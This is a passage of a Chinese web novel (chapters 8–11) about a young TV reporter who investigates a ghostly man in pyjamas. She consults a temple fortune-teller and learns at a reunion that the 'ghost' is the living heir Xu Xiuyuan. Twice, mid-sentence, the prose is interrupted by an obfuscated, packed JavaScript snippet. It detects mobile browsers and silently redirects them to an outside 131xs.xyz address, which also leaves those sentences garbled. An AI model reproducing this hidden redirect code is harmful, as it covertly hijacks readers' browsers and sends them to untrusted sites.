自己这几天的调查都白忙活了,这个睡衣男鬼看来是这两个月之内没的,而她家的小区,这段时间没有出现年轻人身亡的情况。 吴以晴误以为她是在纠结要不要买,便认真地和她分析道:“就算你真买了,应该也不会告诉你的,除非是警察,或是他们家的高级VIP,否则你买了也是白花钱。” * 颜珺瑶没有买那套睡衣,也没有那么多钱变成高级VIP。 她有些沮丧,之前查的时候好得有个范围,现在真是——大海捞针。 从商场回来后,她就上网搜索了近三个月本市年轻男性死亡的新闻,基本上也可以排除。 一个是普通家庭,而另一个,据说家境不错,但网上有人贴出了他的照片,她看了,并不是那个睡衣男鬼。 可除了网上报道的这些之外,这段时间本市一定还有其他年轻男性离世的,比如医院里病逝的,比如那些没有被报道的。 这范围大了去了,她要怎么查啊! 对着笔记本发了会儿呆,突然想起自己发的那条帖子。 虽然知道就自己最近的倒霉劲儿,八成——不,是九成九不会有高人从天而降给她指点一二的,但再怎么着也是个希望,她还是点了进去。 皱着眉,龇着牙,一条条的往下看留言。 还是和昨天看到的差不多,不是起哄开玩笑的,就是质疑她编故事吓人。 当然,也有人也分享了自己的离奇经历,颜珺瑶便回复了这条评论,问对方最后是怎么处理好的。 这位热心网友秒回:全靠一身正气。 “……” 她继续往下看,而后被其中的一条评论给吸引了注意力。 八十一楼:如果这个人真的存在,一种是已经死了,找上楼主可能是有事相求,八成是夙愿未了;二是还活着的话,这可能是预兆,他接下来会有危险,我指的是会危及生命的那种。如果楼主找到这个人,可以适当提醒,让他注意。 颜珺瑶注意到了两个关键词,危险与提醒。 她回复该网友,那为什么会发生在我身上呢?我真的没见过这个人。 网友刚好在线,很快回复:那就很难说了,有些人天生会招惹这些东西,也有可能是你和他命中注定会有纠缠,不论好坏,你只能受着了。 当然,还有一种可能性,说起来就比较阴谋论了,那就是你和他可能都只是棋子,背后有大佬,我说的大佬是指懂玄学的人,这个人想利用你们做点什么事情吧,至于为什么会找上你和他,不好说。如果这个人还活着,估计你们俩很快就会有交集。 颜珺瑶将这个网友的回复看了好几遍,她的心里是想骂人的。 无论哪一种可能性,她都不想沾惹。 该怎么办呢? 9. 第 9 章 普陀寺里,宝相庄严。 颜珺瑶跪在蒲团上,双手合十拜了三拜,而后摇动签筒,“啪嗒”一声,一根签子签子掉落。 捡起来一看,是第五十签。 颜珺瑶站起来,看着一旁的张熙杰,问道:“你不求一签吗?” “不求。” 张熙杰摇头,瞥了一眼颜珺瑶手上的签子,“先去取签文,在那边——” 顺着他所指的方向走去,到了签文处,报了签号,拿到了签文。 展开一看,是中签。 炎炎烈火焰连天,焰里还生一朵莲;到底得成终不害,依然生叶长根枝。 光读这首诗,大致知道是怎么回事。大意是说她目前身处麻烦之中,但到底最后还是解决了,并且没有损伤。 边上的注解也差不多是这个意思。 “感觉这签诗还不错,你求的是什么?” “时运,去解签处再问问。” 解签处是一位中年大叔,看了颜珺瑶的签文之后,滔滔不绝说了许久。 颜珺瑶听得一愣一愣的,大叔对于签文的解读其实和注解相差无几,只是换了种说法。但除此之外,大叔还说了不少,似乎都是在夸她。 不,确实一点说,应该是在夸每个抽到这个签文的人。 大叔说此签当事人是个有理想,有抱负,意志坚定,有着蓬勃生命力的人,不会轻易屈服于困境,即所谓的“火中生莲”,而且得遇贵人。 “……谢谢叔叔——” 只是——她有些赧颜,自己有这么多美好的品质吗? 就比如说她不会轻易屈服于困境这一点,但其实好像并不总是这样。就拿高三那一年来说,数学考试最后一道大题的难度众所皆知,很难拿分,之后她直接放弃最后一道大题的练习。 她知道自己的水平,这一题根本得不了分,只知道出题人的意图大概是想羞辱她这种看不懂题目的人。不过也是因为她懂得放弃,把时间都花在了其他部分的题型上,高考数学的分数竟然还不错。 这也算是火中生莲?! * “你刚才怎么不求一签呢?来都来了——” 下山路上,颜珺瑶问张熙杰。 张熙杰笑起来,“我爷爷嘱咐的,如果进寺庙,只可烧香拜佛,不能有所求。” 不能有所求?去寺庙烧香拜佛,不就是因为有所求吗?求财,求平安,求升迁—— 怎么会无所求呢? 颜珺瑶好奇,“为什么不让求呢?” “他不告诉我,就这么叮嘱。小老头固执起来,谁都拿他没办法,不说就不说吧,听他的话照做就是了,而且我们家人也不常去寺庙。” “对了,汤爷爷最近身体怎么样?” 前几次回老家,颜珺瑶发现汤爷爷的身体变得不如以前,特别是清明假期那次,脸上有着明显的疲态,没什么精神,但汤爷爷只说是自己有些感冒,没什么大碍。之后再回去见到他,老人家身体看着还是不太好。 对于爷爷的身体,张熙杰很是无奈。 老人家坚持说自己去过医院检查了,没有大问题,就只是小毛病,感冒而已,说什么都不愿意跟他去医院,固执的很。他爸妈让老人搬到镇上和他们一起住,方便照顾,也能放心,但老爷子就乐意一个人住,他和爸妈要是劝多了,老爷子就不高兴,所以也不敢多说。 说话间就到了山腰处的一个亭子,亭子口坐着一位须发皆白的老者,面前放着一张桌子,朝外的桌布下垂,上面写着两个字。 算命。 颜珺瑶偏头看了眼张熙杰,拉着他进了亭子。 老人家年纪应该不小,但精神矍铄,神采奕奕的,而且看起来慈眉善目,给人感觉很是平易近人。 “老先生,我想麻烦您帮我算算——” 老人家笑呵呵地掏出一张塑封的二维码,“可以,二百,先扫码付钱,再说说自己的生辰八字。” “……哦,好——”颜珺瑶正要拿手机,张熙杰却扯了下她的胳膊,转而对老人家笑道:“老爷子,别人都是先算后付钱的,您这儿怎么不一样呢!” 老先生对此丝毫不介意,依旧笑呵呵的,看着颜珺瑶说道:“小姑娘,你最近被缠上了。” 颜珺瑶一怔,随即立刻付了款,说了自己的生辰八字。 张熙杰有些丈二和尚,被什么缠上了?很快他反应过来,笑了笑,这些话术还挺好用的。 老先生一面翻看手边的一本旧书,一面掐着手指算了好一会儿,蓦地神色变得有些严肃。 “小姑娘,你命中会有一劫,在二十五岁。” “……”颜珺瑶咽了咽口水,她今年已经二十四。 “那这一劫可以躲过去吗?不会——要命吧?” “那倒不会——”老先生合上书,推到了一边,“你是难得的大富大贵享长寿的命格,就是这一个坎过得艰难,要多加小心。” “……”大富大贵享长寿,眼下还没法验证,颜珺瑶现在最在意的是即将到来的这个劫。 “老先生,有办法化解吗?或是——需要注意什么?” “小姑娘,自有有缘人和你一起渡劫,一定要保持本心。” “……”有缘人?男朋友吗?她现在也没有啊! 张熙杰凑到了老先生跟前,笑着道:“您看我是不是就是她的有缘人?” 原本他只是开个玩笑,没想到老先生居然认真地端详了他好一会儿,又问他要生辰八字,说是这样才能算得准。 颜珺瑶赶紧对老先生说道:“不好意思,他是开玩笑的。” 道过谢,两人正要离开,颜珺瑶突然又想到一个问题。 “老先生,您说的二十五岁,是虚岁还是周岁?” “虚岁。” “……” 所以这个劫难是会发生在今年?! * 继续往山下走,张熙杰见颜珺瑶从亭子出来之后就有些无精打采的,于是便安慰她。 “你别太把那个老人家的话放在心上,他算得不一定准,而且我觉得他说的那些话套在另一个人身上,也能说得通。” 颜珺瑶抬起头,弯起唇角,“放心,我没事。其实我还挺高兴的,老先生说我是大富大贵享长寿的命,而且还会逢凶化吉,嘿嘿!” “珺瑶——”张熙杰清了清嗓子,看了一眼又垂着头的颜珺瑶,“你是不是遇到那方面的问题?” “嗯?”颜珺瑶愣了下,很快反应过来,“哦,那个——就是那次三车连撞,我看到了一个小女孩——” 张熙杰记着这件事,在医院的时候她跟他说过,只是这已经是两个月前的事情了。 “你最近又看到她了?” 颜珺瑶眨了眨眼,“没,就一次,我只是怀疑自己那段时间一直反复发烧,可能是因为她——” “如果你现在还觉得害怕的话,你可以去找我爷爷。不是我王婆卖瓜,我爷爷确实懂一些。虽然他这几年已经很少帮人看事,但你不一样啊,他一定会帮的。” “嗯,我下次回去找汤爷爷。” 张熙杰不知道的是,其实她算是已经间接找过汤爷爷了。也许是因为她没有当面把情况详细地告诉汤爷爷,所以汤爷爷给爷爷的符没有“对症下药”。她想过了,关于那个睡衣男鬼,自己再调查一段时间,如果能查出来那个男鬼找上她的原因,也许问题就能迎刃而解。要是查不到,或是那个男鬼又突然出现,或是出现了其他更可怕的情况,那自己就去找汤爷爷帮忙。 到了山下,往停车场去。 两人正有一句没一句地聊着天,张熙杰突然“嗯?”了一声,扭头看着山脚处。 颜珺瑶跟着看过去,有不少人正要往山上走。 “怎么呢?碰到熟人了?” “不是熟人——”张熙杰摇摇头,“好像是许修远,就是前面那三个走在一起的大高个男的,中间穿白色上衣的那个。” 许修远?这名字有点耳熟。 “就是上次车祸身亡的许耀中的儿子,他现在是许家的接班人了。” 原来是他啊! 颜珺瑶想起来,自己这是第二次见到他了,第一次还是车祸发生的当晚,在医院看到的。 不过,说来也巧,两次都是远远地瞧见,都没看到脸。 许修远身边的两个年轻男人,应该是他的朋友,这次他身边居然没有跟着保镖,和上次在医院看到的阵仗差别太大了。 “他怎么来了这里?” 颜珺瑶不解,来寺庙肯定是烧香拜佛,这——奇怪吗? “对他来说算是奇怪,前两年有媒体拍到他爷爷去龙景寺,听说许家这么多年在龙景寺捐了不少功德钱。” 颜珺瑶喃喃:“难道是因为他父亲的车祸,所以才来了这里?” “有可能。” * 不用上班的日子总是过得特别快。 好不容易盼来的两天休息日,就跟加了倍速一样,嗖的就过完了。 总感觉还没睡够懒觉呢,这就又开始上班了。 而上班第一天,就是大雨天。 外出采访最怕风雨,但又不能避免。 新闻的发生,不会因为刮风下雨就会延迟或取消。 下午三点多,采访车载着几个湿漉漉的人回到了电视台。 一回来,顾不上歇口气,大家又忙碌开了。 紧赶慢赶,终于完成了手头的任务,交了上去。 嘿,今天可以准点下班! 颜珺瑶松了口气,靠在办公椅上等着下班。 一旁的吕嫣敲了敲工位的隔板,唉声叹气地跟她抱怨男朋友出差,都不能陪她。 颜珺瑶想了想,从一旁的抽屉里拿了一瓶饮料递过去,“好喝的——” “啊——”吕嫣瞥了一眼,颇有些嫌弃地晲了她一眼,“你这爱好多早晚给换换呀,这是儿童饮料,我上初中就不喝这个了,你居然还天天备着!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942929|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一面说着,一面使劲将习惯戳进瓶子里,吸了一口。 颜珺瑶反驳:“酸酸甜甜的,多好喝啊,而且你瞧这名字取的,看着就觉得来劲儿!” “哎——”吕嫣托着下巴,有气无力地嘀咕,“男朋友不在身边,还怎么爽歪歪啊——” “……”疑车无据。 颜珺瑶左右瞧了瞧,嗯,幸好声音不大,没人往这边瞧。 “哎呀,你紧张什么,”吕嫣撇撇嘴,“我可不是在开车,我是说真的,有男朋友挺好的,平时不管多晚,不管什么天气,都会接送我,经常陪我吃饭,逛街,不过前提是他不出差。哎,可真想他呀现在——” “……”额,前提难道不是你男朋友爱你吗? 颜珺瑶轻咳一声,“那要不——你现在给他打个电话?” “不打——”吕嫣摇头,“刚才忙里偷闲给他打过了,他现在没空,等我晚上回去了再视频。” 她又吸了一口儿童饮料,“我跟你说,他爸妈开始催结婚了。” “那你们怎么打算?” 颜珺瑶记得吕嫣和现在这个男朋友在一起快两年了,不知道两人有没有开始考虑到这一步。 “我男朋友想结,家里婚房也准备好了,但我暂时还不想结婚,谈恋爱多好啊,我很享受现在的生活,结了婚感觉好多事啊,一点都不轻松,接着就会催生,生了一个,还会让你凑个好字,想想都觉得累。就现在还没结婚呢,我妈就已经开始这么说了,听得我一个头两个大!” 颜珺瑶眨眨眼,又给她塞了一瓶饮料。 “啧啧啧——”吕嫣冲她挑挑眉,“你这是把我当小朋友哄呢!” “……是啊——”不然她也不知道说啥,结婚这事外人不好多嘴。 “既然这样的话,再给我一排整的,”吕嫣朝她伸手,“我今晚还要留下来呢!” “你今晚有安排?”颜珺瑶拉开抽屉拿了一排递给她。 “是啊,有个电话采访——”吕嫣将空瓶扔进办公桌底下的垃圾桶,“你呢?待会儿就可以下班了吧?” 颜珺瑶点点头,是啊,嘿嘿! 只祈祷今晚不会有什么突发任务。 “那太好了——”吕嫣来了精神,坐着椅子又呲溜到她身边,“待会儿陪我去吃饭吧,我不想一个人去,感觉自己好可怜啊!” “……额——”颜珺瑶轻咳一声,坐直了身体,“我待会儿刚好有事。” “你怎么回事啊,老实交代,干嘛去?和帅哥约会,还是去相亲?” “同学聚会。” 其实应该算是大学校友会,大一刚进学校的时候参加了本市老乡会,加了群,大家关系都还挺好的。毕业之后,有人在群里提出同城聚会,去年组织过一次,不过当时颜珺瑶没时间去,今年正好可以去看看。 “哇塞,有帅哥吗?”吕嫣一下子来了兴致,“你不正好母胎单身嘛,碰到个又帅又多金的,将其一把拿下!” “他们我都认识好久了,而且应该都有对象了。” “你可别告诉你一个帅哥都没有?那你这同学会去得不值啊!还是张熙杰好,长得不错,年纪轻轻又有房有车的,关键你俩还是青梅竹马,从小一起长大,知根知底,他对你又好,选他,准没错的,相信我!” “把爽歪歪还我!” * 同学会值得值得去还尚未可知,但傍晚的时候天放晴了,让人的心情也随之变好了。 一下班,颜珺瑶就打车出发了,将将在七点左右到了。 雨天的路况都不算太好,堵车也会比平日里严重一些,虽然定的时间是七点,但是直到七点半人才到齐。 令颜珺瑶有些意外的是,学姐杨薇居然也来了。杨薇比颜珺瑶大两届,大学时是风云人物,长相漂亮,能力出众,又多才多艺,经常担任学校里晚会的主持人,也参与策划学校的不少活动。 大一的时候,颜珺瑶和学姐有过接触,但之后就没怎么联系了,学姐也几乎没再在群里面说过话。听说学姐一毕业就签了帝都的一家大公司,没想到现在回家来发展了。怪不得昨天组织者在群里面说,今天会有惊喜,说的应该就是她。 杨薇的出现,让大家惊喜的同时又很好奇。好奇她怎么会辞去帝都的大好工作,虽然说本市也算是大城市,机会也不少,但当时杨薇是立志要在帝都扎稳脚跟,闯出一片天地的。但这才几年,学姐就选择离开帝都回家来,大家不可能不诧异。 不过看到杨薇依旧光鲜亮丽,就知道她现在发展得也不错。再一问现在的公司,就觉得学姐的选择没问题。 许氏集团。 多少人想进都进不了的好公司,不仅待遇福利好,而且很有发展前景。 关键学姐还是一把手的秘书,心腹,未来大好前景指日可待。 颜珺瑶闻言一怔,看向了坐在左手边的杨薇。 许氏集团?! 还是一把手的秘书,那她应该会清楚许耀中的车祸吧? 10. 第 10 章 不少人十分艳羡地围着杨薇学姐长学姐短,问长问短,杨薇没有丝毫的不耐,但有些问题还是选择打太极,没有正面回答。 她很享受身边这些学弟学妹羡慕的眼神,从大学开始身边不少人看她的眼神就是如此。尽管离开帝都的那段时间很是狼狈,那是她一直都不愿意去回想的记忆,但那又如何,现在她又重新成为大家的焦点。 说话间,有人说起两个月前许耀中的车祸以及之后那些谣言。虽然他们知道许氏集团辟过谣,但还是忍不住想问问。 颜珺瑶一下子竖起了耳朵。 杨薇轻轻挑了挑眉,一副“就知道你们要八卦这些”的表情,微微抬了抬下巴,笑道:“当然是假的,车祸就是个意外,新闻上都报道了。哎——” 她余光瞥见一旁的颜珺瑶,“珺瑶不就是记者嘛,她肯定清楚是不是意外。” “……” 默默吃瓜的颜珺瑶突然被点到名,放下手里的橙汁,点头道:“嗯,确实是意外。” 这个话题就这么过去了,大家就聊起了其他的。 不一会儿,杨薇擦了擦嘴,起身离开了包间,说是去洗手间。 颜珺瑶犹豫了两秒,也跟着出去。 走出包间,杨薇回头注意到她,便笑着等她。 颜珺瑶紧走了两步,走到杨薇的身边,一起慢慢往洗手间去。 “刚才都没机会和你好好说话,大学时你就是校园记者,现在算是实现了梦想,真不错!” “谢谢学姐。” 两人有一句没一句地闲聊着,颜珺瑶突然舔了舔唇,轻咳了一声,不太自然地开口问道:“学姐,车祸发生前,许总的车子就停下了,不知道他停车的原因是——” “停车?”杨薇倏地停下了步子,转头看向颜珺瑶,“你是说许总当时停车了?并没有啊,我也没听说过,新闻里更是没有提到,你——” 她打量了一下颜珺瑶,顿了顿,才又道:“你怎么会——” 颜珺瑶心头一突,难道没有吗? 遭了,说错话了。学姐不会是以为她是故意来套新闻的吧? 她只好解释道:“我当时刚好在不远处看到了车祸发生,不过那天有些不舒服,之后还吓得直接晕倒进医院了,请了很多天的假,应该是我头晕看错了。” “哦,这样啊,太巧了——”杨薇笑起来,她就说嘛,她怎么不知道这回事。 “当记者风里来雨里去的,确实辛苦,要多注意身体才好。” “嗯,谢谢学姐,我会的。” “哎,我们老许总对底下的人都不错,大家都很舍不得他,场面太惨了,难道你被吓到了。” 颜珺瑶不好意思地笑了笑,那天确实是有点被吓到了,虽然在采访中见过一些惨烈的场面,但长这么大还是第一次亲眼目睹车祸的发生。 光是这么一想,她突然就觉得有点透不过气来,那天在电动车上的那些感觉似乎又来了。 深吸一口气,她又找了个话头,只想让车祸的话题赶紧过去。 从洗手间出来,杨薇的手机响了,并不避讳颜珺瑶,直接接了起来,同时伸手指着大厅的沙发,便往那边走边讲电话,讲了两句之后就挂了。 颜珺瑶跟着坐在一旁,杨薇忍不住嘀咕了起来,今晚又忙什么去了,居然不接电话,敢情就指着我呢。 颜珺瑶觉得她的这句自言自语有点奇怪,不禁问道:“嗯?什么?出什么事了吗?” 杨薇啧了一声,撇了撇嘴,抱怨道:“我同事在网上发了什么帖子,说是捡到一个什么水晶摆件,想要找失主。 不仅在贴吧发帖子,还在各大社交软件上发,每天电话可不少,又担心漏接了,所以就设置了无人接听时转移到我这边来了。幸好我长了个心眼,给的是我另一个号码,之后直接弃用就好了,不然我的工作号就废了——” 杨薇还在继续说着,但颜珺瑶只觉得脑子里嗡嗡的,连呼吸都一下子屏住了。 她只听到四个字,水晶摆件! 她忍不住问道:“水晶摆件?什么样的?” 杨薇没注意到颜珺瑶的异样,边点头,边低头摆弄手机,“是啊,还挺好看的一个摆件,你看这——” 颜珺瑶看了一眼学姐递到跟前的手机,脸色刷的一下白了,眼睛蓦地瞪圆了,这——这怎么和自己消失的那个水晶摆件那么像呢? 她不禁拿过了学姐的手机,滑动屏幕,看到了另外一张照片,越看越像。 发布者只发了两张照片,正面和背面,要是有摆件的底部,她就能一样判断出来。 杨薇看了看颜珺瑶紧张的神色,眨了眨眼,有些奇怪,又有些好笑,“怎么?不会这么巧,这东西刚好是你的吧?” 除了发那个帖子,颜珺瑶到现在还不敢把那天晚上的事情说出去,身边谁都没说,因为实在是太过诡异,担心吓到别人,或者别人可能会觉得自己有臆想症,精神不正常,所以出现了幻觉。 她没有承认,笑得有几分勉强,“不是我的,我只是也有一个类似的,就是觉得——你同事非常热心!” 杨薇笑起来,忍不住又哼了一声,“也不怪你这反应,这年头捡到东西还这么大——费周章的人已经不多了。” “是啊——”颜珺瑶顿了顿,又问道,“他——他是在哪里捡到的?怎么会需要到网上寻求失主的?也有可能是别人不要的呢? 杨薇耸了一下肩,“不清楚,不过我估摸着事情应该是我们领导让做的,所以那家伙才会这么积极主动,费尽心思地一定要找到失主!” 颜珺瑶一下子愣住了,“你们领导?” “是啊,我们许总,就是那位老许总的独子,长得——” 杨薇挑了挑眉,玩笑道:“让人看了特别心动,但只可远观而不可亵玩焉!” “……”颜珺瑶咽了咽口水,哦—— 所以自己在医院和普陀寺山下碰到的人,有可能是真正捡到水晶摆件的人? 有没有可能他——就是自己看到的那个睡衣男鬼? 可这个人明明还活着啊!这——这怎么可能呢? 不,不可能是他。 她正琢磨着要不要开口问问学姐,有没有这个许总的照片,杨薇突然站了起来,“走吧,我们进去吧,免得出来太久,他们还以为我们提前溜了也不打一声招呼!” “……哦——”颜珺瑶回过神来,跟着站了起来,“学姐,要不你先进去吧,我在外面透透气,里面有点闷!” 杨薇眉心微动,拍了拍她的肩膀,“好吧,早点进去啊!” 杨薇一离开,颜珺瑶立即就登录了贴吧,找到了学姐给自己看的帖子,点了进去,再仔仔细细,一字不落地把帖子完完整整地看了下来。 她记下了帖子里发布的号码,在大厅里走来走去,犹豫地要不要现在就打过去。 她满脑子都是那个帖子的内容。 捏着手机,她觉得自己等不到回去了,她现在就想打过去。 可刚才学姐说了,发帖人设置了无人接听时来电转移,如果他这会儿还是没空接电话,那岂不是待会儿又是学姐接的? 颜珺瑶咬了咬唇,蓦地双眸一亮。 对对,万一是学姐接了起来,就说自己打算先走了,让她帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942930|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙说一声。 对对,就这么说! 不过—— 她又顿住了,所谓的无人接听时来电转移,这个无人接听是多长时间呢? 保险起见,她先拨通了客服电话,得知这种情况下的来电转移,只需要超过四十秒无人接听,就转移到了设置的转接号码。 四十秒。 好短的时间。 深吸一口气,使劲地咽了咽口水,颜珺瑶终于按下了帖子里留的手机号码。 嘟声一下下地敲打着她的神经,从拨通的那一秒起,她在心里开始默数着时间。 一,二,三,四,五…… 十五,十六,还是没人接听。 颜珺瑶将手指放在挂断键上,犹豫着要不要马上挂断,可心里总是抱着一丝侥幸,也许下一秒对方就接了呢? 就算真的转到学姐那里,就说自己先回去了,麻烦她跟大家说一声,学姐也不会怀疑什么。 她正胡思乱想着,电话居然接通了。 “……” 颜珺瑶一下子懵住了,不知道该如何开口,因为她不确定到底是不是学姐。 幸好,对方先说话了。 “喂——” 心头狠狠一震,是个男人的声音。 她缓了缓,声音几乎发颤地开口问道:“您好,请问是隔夜蒜薹炒肉吗?” “嗯哼——”电话那头的男人轻声笑了笑,“所以你就是Mary吗?” Mary? 颜珺瑶呆住了,一颗心一下子掉进了谷底,怎么是Mary呢? 难道这个世界上会有这么小概率的事情,有个人拥有一个和自己几乎一样的水晶摆件,而且同时也丢了? 心脏依旧怦怦狂跳,她失望地叹了口气,不好意思道:“抱歉,我不是Mary,是我弄错了,打扰了!” 电话那头似乎知道颜珺瑶打算挂电话,立即出声道:“等等——” 颜珺瑶奇怪,“有什么事吗?” 对方突然问道:“请问你的英文名是什么字母打头的?” 颜珺瑶皱了皱眉,突然意识到什么,愣了一下,说道:“是——” 只一个“是”字出口,她的声音戛然而止,脸上顷刻间涌现极度惊恐的神色。 四五米开外,迎面向她这个方向走来的那个西装革履的男人,这个男人—— 居然和自己那两个晚上看到的睡衣男鬼一模一样,而且他刚好拿着手机。 所以就是他? 自己看到的人就是他,和自己正在通话的也是他吗? 他到底是人,还是鬼? 颜珺瑶的脑子一下子炸开了,已经完全忘记了自己还在和别人通电话,任凭手机里的那个男人一直在“喂喂喂”地喊她。 而此时,那个男人也顿在原地,一瞬不瞬地看着他,脸上同样有着不可置信的震惊。 但很快,他向自己走来。 心脏在胸腔里跳得过分厉害,她开始感到喘不上气来,脖子像是被人用绳子给勒住了一般,是窒息的痛苦。 看着那个男人和自己的距离越来越短,她本能地感到恐慌,下意识地想要后退,可身体里却似乎有一股子说不清道不明的力量,让她控制不住地要去靠近他。 蓦地,她的脖子像是被人用绳子给勒住了一般,是那种窒息般的,无法呼吸的濒临死亡的痛苦与恐惧。 颜珺瑶脸色骤变,双手死死拉扯自己的衣领,试图让自己喘上气,但无济于事。 很快,眼前陷入了一片黑暗。 在失去意识前,颜珺瑶想到的是,自己一定是疯了。 11. 第 11 章 颜珺瑶醒来时,余光瞥见了点滴架上的药瓶。 她微微一愣,自己这是——又进医院了? 很快,晕倒前的画面渐渐回笼,那个迎面朝她走来的,长身玉立的男人—— 她用力地闭了闭眼,侧过头看向左手边,是正在低头回信息的杨薇。 杨薇很快注意到颜珺瑶的动静,忙放下手机,欣喜道:“珺瑶,你终于醒了啊,太好了!刚才可是吓到我了!” 颜珺瑶撑着手,试图坐起来,杨薇见状,忙道:“别着急起来,我帮你把床摇起来。” “谢谢学姐!” 病床的床头一点点抬高,杨薇边忙活边说道:“你刚才啊,在大厅晕倒了,幸好我们许总正好看到,亲自开车送你来了! 颜珺瑶猛地拽住了身上的被子,心跳又瞬间加快频率。 那个男人——那个男人居然就是学姐所说的许总,他居然就是。 所以,就是他捡到了她的水晶摆件,也是他想要找到她。 不,确切地说,应该是他留下了她砸过去的水晶摆件,所以他是想要找到砸她的人。 太不可思议了,自己那两天晚上看到的居然不是鬼,而是活生生的人。 可他是怎么做到突然出现,又顷刻间消失的? 颜珺瑶渐渐回过神来,看向杨薇,突然问道:“那个许总是不是穿着黑色西装?” “啊,对啊,就是他,你晕倒之前也看到他了?” 最后的一点可能也荡然无存,许修远就是自己看到的睡衣男鬼,也许还好端端地活着。 “嗯,”颜珺瑶无声地叹了口气,“就是他捡到了那个水晶摆件吗?” “应该就是,但我没问过,不能百分百肯定,”杨薇的眼神带着探究,“你是不是见过那个东西?” “我——我不确定。” 就这么短短一句话,杨薇的脑子里已经脑补出了一部电视剧。 刚才在酒店大厅的时候,她就觉得颜珺瑶看到那个帖子时的反应很奇怪,可她却又否认了那个水晶摆件是她的东西。 虽然何文旭没有明说,但她早就猜到那个摆件肯定是许总捡到的,也是许总让何文旭寻找一个不值钱的水晶摆件的主人,否则她才不会答应帮何文旭这个忙,这几天整的她接了好些莫名其妙的电话,晚上都没怎么睡好。 她又瞥了一眼颜珺瑶,难道她和许总之间发生了什么不为人知的故事? 否则许总为什么会突然对那么一个普通的水晶摆件这么重视,还专门让自己的助理要找到所有者? 当时她在包间里,发现颜珺瑶好一会儿还不回去,一想到颜珺瑶看到那个帖子时的反应,还是决定出去看看。结果刚出包间没走几步,就看到不远处许总抱着颜珺瑶,正在着急地往外走,而颜珺瑶似乎人事不知,于是她跟了上去。 许总当时的反应,不像是第一次见到颜珺瑶,而且还亲自开车把人送来医院,甚至还很是不放心地一直等着她苏醒。 要说许总不认识颜珺瑶,她打死都是不相信的。 但是—— 她有些闹不明白这两人到底是啥关系。 啊—— 有没有可能是许总在某一天无意中邂逅了颜珺瑶,对她一见倾心,但来不及认识她,却只捡到了她落下的那么个水晶摆件,所以开始全城寻爱? 霸道总裁爱上我的玛丽苏戏码还没在脑子里上演完,她又觉得不太对劲。 对,是女主角的反应,她为什么看起来好像很—— 害怕呢? 找到自己丢失的东西难道不该高兴吗?就算这个东西不重要,不值得高兴,也不至于害怕啊? 真是奇了怪了。 * 杨薇清了清嗓子,“哦,这样啊,那你待会儿可以问问许总。” 说着,还往病房门口瞧了瞧,“他出去接电话了,应该马上就会进来。” 分明是再正常不过的一句话,颜珺瑶的反应却让杨薇惊着了。 颜珺瑶脑子轰的一声,一把抓住学姐的手,满眼惊恐地看着她,“他——他也在这儿?” 他为什么会在这儿?他也认出她了? “是——是啊——”杨薇有些不知所措,“怎么呢?你怎么——哎,你干嘛啊——” 颜珺瑶蓦地拔掉了手上的针头,杨薇猝不及防,吓了一大跳,眼看颜珺瑶就要下床,立即按住了她的肩膀,不禁提高了音量。 “珺瑶,你干嘛啊,好端端地干嘛把针头给拔了呢?!” 颜珺瑶还想挣扎,“学姐,我要回去,我要出院!” 杨薇急了,使劲地按住了她,不让她下床。 “出什么院啊,医生说你要住院观察的,你别激动,先冷静下来啊!” 颜珺瑶终于不动了,浑身无力地靠坐在床上,缓缓地闭上了双眼。 似乎真的冷静了下来。 杨薇总算是松了一口气,忙按了呼叫铃,在病床边上重新坐下,忍不住摇了摇头,“珺瑶,你有哪里不舒服吗?” 她和颜珺瑶认识了挺长时间的,虽然前几年没怎么联系过,但她多多少少也听说过她的情况。以她对颜珺瑶的了解,这还是第一次见到她这么冲动,不顾一切的样子。 怎么就一听到许总也在医院,就吓成这样了呢?许总到底做了什么,让她对他恐惧成这样了? 短短几分钟,脑子里那部还未完结的玛丽苏爱情小甜剧就土崩瓦解,面目全非了。 许总该不会对人小姑娘——不,应该不会,许总不像是那种人——吧? 颜珺瑶觉得很累,微微地摇了摇头,轻声说道:“我没什么事,只是有点累。” 杨薇倒了一杯温水,俯身靠近她,“要不要喝口水?” 颜珺瑶继续摇头,“不喝,谢谢学姐,今天——太麻烦学姐了。” 话刚说完,她又闭上了眼睛。 “说什么太麻烦的话,只是——”杨薇将水杯放下,叹了口气,忍不住问道:“你今天怎么呢?是不是——出了什么事?” 颜珺瑶缓缓地睁开了眼睛,她也不知道自己怎么了,总感觉自己突然变得好像无法控制自己的身体和情绪。 她也很想知道自己到底怎么了! 只要一想要那个男人待会儿就会过来,她就觉得呆在这个病房里让她喘不上气来,让她心烦意乱,让她疲惫至极。 * 就在这时,医生和护士进了病房,重新扎了针又做了检查,医生告诉颜珺瑶,没什么太大的问题,不过晚上还是要留在医院多观察观察。 颜珺瑶有气无力地点了点头,说了声谢谢,等到医生和护士出去了之后,杨薇轻轻拍了拍颜珺瑶,“肚子饿吗?” “谢谢学姐,我不饿,今晚真是麻烦你了!” “又来了,太客气了,谁让你是我的学妹呢——” 正说着,杨薇的余光瞥见病房门口出现了一个高大的身影,抬眼看去,双眸一亮,随即站了起来,许总—— 颜珺瑶顺着她的视线望了过去,门口的那个男人不正是自己晕倒前看到的人吗? 许修远走了进来,看着杨薇说道,辛苦了—— 随即又转向病床上的人,迎向颜珺瑶极力克制的眼神,温声问道,颜小姐,感觉好些了吗?
